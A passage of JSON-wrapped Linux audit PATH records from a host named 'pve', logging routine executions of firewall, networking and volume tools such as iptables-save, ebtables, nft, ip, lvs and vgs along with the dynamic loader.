name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075731,"@rawstring":"node=pve type=PATH msg=audit(1781964075.731:59475): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075731,"@rawstring":"node=pve type=PATH msg=audit(1781964075.731:59475): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075731,"@rawstring":"node=pve type=PATH msg=audit(1781964075.731:59474): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075728,"@rawstring":"node=pve type=PATH msg=audit(1781964075.728:59473): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075728,"@rawstring":"node=pve type=PATH msg=audit(1781964075.728:59473): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075728,"@rawstring":"node=pve type=PATH msg=audit(1781964075.728:59473): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075721,"@rawstring":"node=pve type=PATH msg=audit(1781964075.721:59472): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075721,"@rawstring":"node=pve type=PATH msg=audit(1781964075.721:59472): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075713,"@rawstring":"node=pve type=PATH msg=audit(1781964075.713:59471): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075713,"@rawstring":"node=pve type=PATH msg=audit(1781964075.713:59471): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075708,"@rawstring":"node=pve type=PATH msg=audit(1781964075.708:59470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075708,"@rawstring":"node=pve type=PATH msg=audit(1781964075.708:59470): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075701,"@rawstring":"node=pve type=PATH msg=audit(1781964075.701:59469): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075701,"@rawstring":"node=pve type=PATH msg=audit(1781964075.701:59469): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075695,"@rawstring":"node=pve type=PATH msg=audit(1781964075.695:59468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964075695,"@rawstring":"node=pve type=PATH msg=audit(1781964075.695:59468): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964074677,"@rawstring":"node=pve type=PATH msg=audit(1781964074.677:59467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964074677,"@rawstring":"node=pve type=PATH msg=audit(1781964074.677:59467): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964074642,"@rawstring":"node=pve type=PATH msg=audit(1781964074.642:59466): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964074642,"@rawstring":"node=pve type=PATH msg=audit(1781964074.642:59466): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=PATH msg=audit(1781964072.832:59465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=PATH msg=audit(1781964072.832:59465): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=PATH msg=audit(1781964072.832:59464): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=PATH msg=audit(1781964072.832:59463): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=PATH msg=audit(1781964072.823:59462): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=PATH msg=audit(1781964072.823:59462): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=PATH msg=audit(1781964072.823:59461): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=PATH msg=audit(1781964072.823:59460): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=PATH msg=audit(1781964067.815:59459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=PATH msg=audit(1781964067.815:59459): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=PATH msg=audit(1781964067.815:59458): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=PATH msg=audit(1781964067.815:59457): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=PATH msg=audit(1781964067.810:59456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=PATH msg=audit(1781964067.810:59456): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=PATH msg=audit(1781964067.810:59455): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=PATH msg=audit(1781964067.810:59454): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065684,"@rawstring":"node=pve type=PATH msg=audit(1781964065.684:59453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065684,"@rawstring":"node=pve type=PATH msg=audit(1781964065.684:59453): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065681,"@rawstring":"node=pve type=PATH msg=audit(1781964065.681:59452): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065681,"@rawstring":"node=pve type=PATH msg=audit(1781964065.681:59452): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065680,"@rawstring":"node=pve type=PATH msg=audit(1781964065.680:59451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065680,"@rawstring":"node=pve type=PATH msg=audit(1781964065.680:59451): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065680,"@rawstring":"node=pve type=PATH msg=audit(1781964065.680:59450): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065677,"@rawstring":"node=pve type=PATH msg=audit(1781964065.677:59449): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065677,"@rawstring":"node=pve type=PATH msg=audit(1781964065.677:59449): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065677,"@rawstring":"node=pve type=PATH msg=audit(1781964065.677:59449): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065669,"@rawstring":"node=pve type=PATH msg=audit(1781964065.669:59448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065669,"@rawstring":"node=pve type=PATH msg=audit(1781964065.669:59448): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065662,"@rawstring":"node=pve type=PATH msg=audit(1781964065.662:59447): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065662,"@rawstring":"node=pve type=PATH msg=audit(1781964065.662:59447): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065656,"@rawstring":"node=pve type=PATH msg=audit(1781964065.656:59446): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065656,"@rawstring":"node=pve type=PATH msg=audit(1781964065.656:59446): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065649,"@rawstring":"node=pve type=PATH msg=audit(1781964065.649:59445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065649,"@rawstring":"node=pve type=PATH msg=audit(1781964065.649:59445): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065644,"@rawstring":"node=pve type=PATH msg=audit(1781964065.644:59443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065644,"@rawstring":"node=pve type=PATH msg=audit(1781964065.644:59443): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065639,"@rawstring":"node=pve type=PATH msg=audit(1781964065.639:59442): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065639,"@rawstring":"node=pve type=PATH msg=audit(1781964065.639:59442): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065632,"@rawstring":"node=pve type=PATH msg=audit(1781964065.632:59441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065632,"@rawstring":"node=pve type=PATH msg=audit(1781964065.632:59441): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065626,"@rawstring":"node=pve type=PATH msg=audit(1781964065.626:59440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065626,"@rawstring":"node=pve type=PATH msg=audit(1781964065.626:59440): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065620,"@rawstring":"node=pve type=PATH msg=audit(1781964065.620:59439): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065620,"@rawstring":"node=pve type=PATH msg=audit(1781964065.620:59439): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065615,"@rawstring":"node=pve type=PATH msg=audit(1781964065.615:59438): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065615,"@rawstring":"node=pve type=PATH msg=audit(1781964065.615:59438): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065609,"@rawstring":"node=pve type=PATH msg=audit(1781964065.609:59437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065609,"@rawstring":"node=pve type=PATH msg=audit(1781964065.609:59437): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065602,"@rawstring":"node=pve type=PATH msg=audit(1781964065.602:59436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065602,"@rawstring":"node=pve type=PATH msg=audit(1781964065.602:59436): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065598,"@rawstring":"node=pve type=PATH msg=audit(1781964065.598:59435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065598,"@rawstring":"node=pve type=PATH msg=audit(1781964065.598:59435): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065595,"@rawstring":"node=pve type=PATH msg=audit(1781964065.595:59434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065595,"@rawstring":"node=pve type=PATH msg=audit(1781964065.595:59434): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065594,"@rawstring":"node=pve type=PATH msg=audit(1781964065.594:59433): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065594,"@rawstring":"node=pve type=PATH msg=audit(1781964065.594:59433): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065594,"@rawstring":"node=pve type=PATH msg=audit(1781964065.594:59432): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065590,"@rawstring":"node=pve type=PATH msg=audit(1781964065.590:59431): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065590,"@rawstring":"node=pve type=PATH msg=audit(1781964065.590:59431): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065590,"@rawstring":"node=pve type=PATH msg=audit(1781964065.590:59431): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065583,"@rawstring":"node=pve type=PATH msg=audit(1781964065.583:59430): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065583,"@rawstring":"node=pve type=PATH msg=audit(1781964065.583:59430): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065575,"@rawstring":"node=pve type=PATH msg=audit(1781964065.575:59429): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065575,"@rawstring":"node=pve type=PATH msg=audit(1781964065.575:59429): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065569,"@rawstring":"node=pve type=PATH msg=audit(1781964065.569:59428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065569,"@rawstring":"node=pve type=PATH msg=audit(1781964065.569:59428): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065562,"@rawstring":"node=pve type=PATH msg=audit(1781964065.562:59427): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065562,"@rawstring":"node=pve type=PATH msg=audit(1781964065.562:59427): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065554,"@rawstring":"node=pve type=PATH msg=audit(1781964065.554:59426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065554,"@rawstring":"node=pve type=PATH msg=audit(1781964065.554:59426): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964064574,"@rawstring":"node=pve type=PATH msg=audit(1781964064.574:59425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964064574,"@rawstring":"node=pve type=PATH msg=audit(1781964064.574:59425): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964064546,"@rawstring":"node=pve type=PATH msg=audit(1781964064.546:59424): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964064546,"@rawstring":"node=pve type=PATH msg=audit(1781964064.546:59424): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=PATH 